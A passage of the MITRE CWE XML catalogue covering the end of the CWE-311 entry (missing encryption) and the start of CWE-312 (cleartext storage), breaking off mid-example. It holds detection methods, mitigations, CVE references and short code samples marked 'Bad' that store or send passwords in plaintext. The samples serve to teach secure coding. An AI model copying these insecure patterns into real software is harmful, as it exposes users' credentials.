            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Network Sniffer</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fuzz Tester</xhtml:li>
                           <xhtml:li>Framework-based Fuzzer</xhtml:li>
                           <xhtml:li>Automated Monitored Execution</xhtml:li>
                           <xhtml:li>Man-in-the-middle attack tool</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Attack Modeling</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Clearly specify which data or resources are valuable enough that they should be protected by encryption. Require that any transmission or storage of this data/resource should use well-vetted encryption algorithms.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Description>
                  <xhtml:p>Ensure that encryption is properly integrated into the system design, including but not necessarily limited to:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>Encryption that is needed to store or transmit private data of the users of the system</xhtml:li>
                        <xhtml:li>Encryption that is needed to protect the system itself from unauthorized disclosure or tampering</xhtml:li>
                     </xhtml:ul>
                  <xhtml:p>Identify the separate needs and contexts for encryption:</xhtml:p>
                     <xhtml:ul>
                        <xhtml:li>One-way (i.e., only the user or recipient needs to have the key). This can be achieved using public key cryptography, or other techniques in which the encrypting party (i.e., the product) does not need to have access to a private key.</xhtml:li>
                        <xhtml:li>Two-way (i.e., the encryption can be automatically performed on behalf of a user, but the key must be available so that the plaintext can be automatically recoverable by that user). This requires storage of the private key in a format that is recoverable only by the user (or perhaps by the operating system) in a way that cannot be recovered by others.</xhtml:li>
                     </xhtml:ul>
                  <xhtml:p>Using threat modeling or other techniques, assume that data can be compromised through a separate vulnerability or weakness, and determine where encryption will be most effective. Ensure that data that should be private is not being inadvertently exposed using weaknesses such as insecure permissions (CWE-732). [REF-7]</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-24">
               <Phase>Architecture and Design</Phase>
               <Strategy>Libraries or Frameworks</Strategy>
               <Description>
                  <xhtml:p>When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.</xhtml:p>
                  <xhtml:p>For example, US government systems require FIPS 140-2 certification.</xhtml:p>
                  <xhtml:p>Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.</xhtml:p>
                  <xhtml:p>Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-25">
               <Phase>Implementation</Phase>
               <Phase>Architecture and Design</Phase>
               <Description>When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-33">
               <Phase>Implementation</Phase>
               <Strategy>Attack Surface Reduction</Strategy>
               <Description>Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.</Description>
               <Effectiveness>Defense in Depth</Effectiveness>
               <Effectiveness_Notes>This makes it easier to spot places in the code where data is being used that is unencrypted.</Effectiveness_Notes>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-40">
               <Intro_Text>This code writes a user's login information to a cookie so the user does not have to login again later.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function persistLogin($username, $password){<xhtml:div style="margin-left:1em;">$data = array("username" =&gt; $username, "password"=&gt; $password);<xhtml:br/>setcookie ("userdata", $data);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.</Body_Text>
               <Body_Text>Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-41">
               <Intro_Text>The following code attempts to establish a connection, read in a password, then store it to a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>server.sin_family = AF_INET; hp = gethostbyname(argv[1]);<xhtml:br/>if (hp==NULL) error("Unknown host");<xhtml:br/>memcpy( (char *)&amp;server.sin_addr,(char *)hp-&gt;h_addr,hp-&gt;h_length);<xhtml:br/>if (argc &lt; 3) port = 80;<xhtml:br/>else port = (unsigned short)atoi(argv[3]);<xhtml:br/>server.sin_port = htons(port);<xhtml:br/>if (connect(sock, (struct sockaddr *)&amp;server, sizeof server) &lt; 0) error("Connecting");<xhtml:br/>...<xhtml:br/>while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>write(dfd,password_buffer,n);<xhtml:br/>...<xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-42">
               <Intro_Text>The following code attempts to establish a connection to a site to communicate sensitive information.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">URL u = new URL("http://www.secret.example.org/");<xhtml:br/>HttpURLConnection hu = (HttpURLConnection) u.openConnection();<xhtml:br/>hu.setRequestMethod("PUT");<xhtml:br/>hu.connect();<xhtml:br/>OutputStream os = hu.getOutputStream();<xhtml:br/>hu.disconnect();</xhtml:div>}<xhtml:br/>catch (IOException e) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>//...</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2009-2272</Reference>
               <Description>password and username stored in cleartext in a cookie</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-2272</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1466</Reference>
               <Description>password stored in cleartext in a file with insecure permissions</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1466</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0152</Reference>
               <Description>chat program disables SSL in some circumstances even when the user says to use SSL.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0152</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1603</Reference>
               <Description>Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1603</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-0964</Reference>
               <Description>storage of unencrypted passwords in a database</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-0964</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-6157</Reference>
               <Description>storage of unencrypted passwords in a database</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-6157</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-6828</Reference>
               <Description>product stores a password in cleartext in memory</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-6828</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-1567</Reference>
               <Description>storage of a secret key in cleartext in a temporary file</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-1567</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0174</Reference>
               <Description>SCADA product uses HTTP Basic Authentication, which is not encrypted</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0174</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5778</Reference>
               <Description>login credentials stored unencrypted in a registry key</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5778</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1949</Reference>
               <Description>Passwords transmitted in cleartext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1949</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4122</Reference>
               <Description>Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4122</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-3289</Reference>
               <Description>Product sends password hash in cleartext in violation of intended policy.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-3289</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4390</Reference>
               <Description>Remote management feature sends sensitive information including passwords in cleartext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4390</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5626</Reference>
               <Description>Backup routine sends password in cleartext in email.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5626</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1852</Reference>
               <Description>Product transmits Blowfish encryption key in cleartext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1852</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-0374</Reference>
               <Description>Printer sends configuration information, including administrative password, in cleartext.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-0374</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4961</Reference>
               <Description>Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4961</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4786</Reference>
               <Description>Product sends passwords in cleartext to a log server.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4786</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-3140</Reference>
               <Description>Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-3140</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Failure to encrypt data</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A8</Entry_ID>
               <Entry_Name>Insecure Cryptographic Storage</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A9</Entry_ID>
               <Entry_Name>Insecure Communications</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A8</Entry_ID>
               <Entry_Name>Insecure Storage</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>4</Entry_ID>
               <Entry_Name>Insufficient Transport Layer Protection</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>MSC00-J</Entry_ID>
               <Entry_Name>Use SSLSocket rather than Socket for secure data exchange</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP23</Entry_ID>
               <Entry_Name>Exposed Data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="157"/>
            <Related_Attack_Pattern CAPEC_ID="158"/>
            <Related_Attack_Pattern CAPEC_ID="204"/>
            <Related_Attack_Pattern CAPEC_ID="31"/>
            <Related_Attack_Pattern CAPEC_ID="37"/>
            <Related_Attack_Pattern CAPEC_ID="383"/>
            <Related_Attack_Pattern CAPEC_ID="384"/>
            <Related_Attack_Pattern CAPEC_ID="385"/>
            <Related_Attack_Pattern CAPEC_ID="386"/>
            <Related_Attack_Pattern CAPEC_ID="387"/>
            <Related_Attack_Pattern CAPEC_ID="388"/>
            <Related_Attack_Pattern CAPEC_ID="477"/>
            <Related_Attack_Pattern CAPEC_ID="609"/>
            <Related_Attack_Pattern CAPEC_ID="65"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 9, &#34;Protecting Secret Data&#34; Page 299"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 17: Failure to Protect Stored Data.&#34; Page 253"/>
            <Reference External_Reference_ID="REF-265"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 2, &#34;Common Vulnerabilities of Encryption&#34;, Page 43"/>
            <Reference External_Reference_ID="REF-267"/>
         </References>
         <Notes>
            <Note Type="Relationship">There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Organization>Veracode</Modification_Organization>
               <Modification_Date>2008-08-15</Modification_Date>
               <Modification_Comment>Suggested OWASP Top Ten 2004 mapping</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Modes_of_Introduction, Potential_Mitigations, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Failure to Encrypt Data</Previous_Entry_Name>
            <Previous_Entry_Name Date="2010-02-16">Failure to Encrypt Sensitive Data</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="312" Name="Cleartext Storage of Sensitive Information" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.</Description>
         <Extended_Description>
	 <xhtml:p>Because the information is stored in cleartext (i.e., unencrypted), attackers could potentially read it. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.</xhtml:p>
	 <xhtml:p>When organizations adopt cloud services, it can be easier for attackers to access the data from anywhere on the Internet.</xhtml:p>
	 <xhtml:p>In some systems/environments such as cloud, the use of "double encryption" (at both the software and hardware layer) might be required, and the developer might be solely responsible for both layers, instead of shared responsibility with the administrator of the broader system/environment.</xhtml:p>
       </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="311" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="311" View_ID="1003" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="922" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Cloud Computing" Prevalence="Undetermined"/>
	    <Technology Class="ICS/OT" Prevalence="Undetermined"/>
            <Technology Class="Mobile" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
               <Note>OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>An attacker with access to the system could read sensitive information stored in cleartext.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
	 <Potential_Mitigations>
	   <Mitigation>
	     <Phase>Implementation</Phase>
	     <Phase>System Configuration</Phase>
	     <Phase>Operation</Phase>
	     <Description>When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to encrypt the data at rest. [REF-1297] [REF-1299] [REF-1301]</Description>
	   </Mitigation>
	 </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-44">
               <Intro_Text>The following code excerpt stores a plaintext user account ID in a browser cookie.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>response.addCookie( new Cookie("userAccountID", acctID);</xhtml:div>
               </Example_Code>
               <Body_Text>Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-40">
               <Intro_Text>This code writes a user's login information to a cookie so the user does not have to login again later.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>function persistLogin($username, $password){<xhtml:div style="margin-left:1em;">$data = array("username" =&gt; $username, "password"=&gt; $password);<xhtml:br/>setcookie ("userdata", $data);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.</Body_Text>
               <Body_Text>Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-41">
               <Intro_Text>The following code attempts to establish a connection, read in a password, then store it to a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>server.sin_family = AF_INET; hp = gethostbyname(argv[1]);<xhtml:br/>if (hp==NULL) error("Unknown host");<xhtml:br/>memcpy( (char *)&amp;server.sin_addr,(char *)hp-&gt;h_addr,hp-&gt;h_length);<xhtml:br/>if (argc &lt; 3) port = 80;<xhtml:br/>else port = (unsigned short)atoi(argv[3]);<xhtml:br/>server.sin_port = htons(port);<xhtml:br/>if (connect(sock, (struct sockaddr *)&amp;server, sizeof server) &lt; 0) error("Connecting");<xhtml:br/>...<xhtml:br/>while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
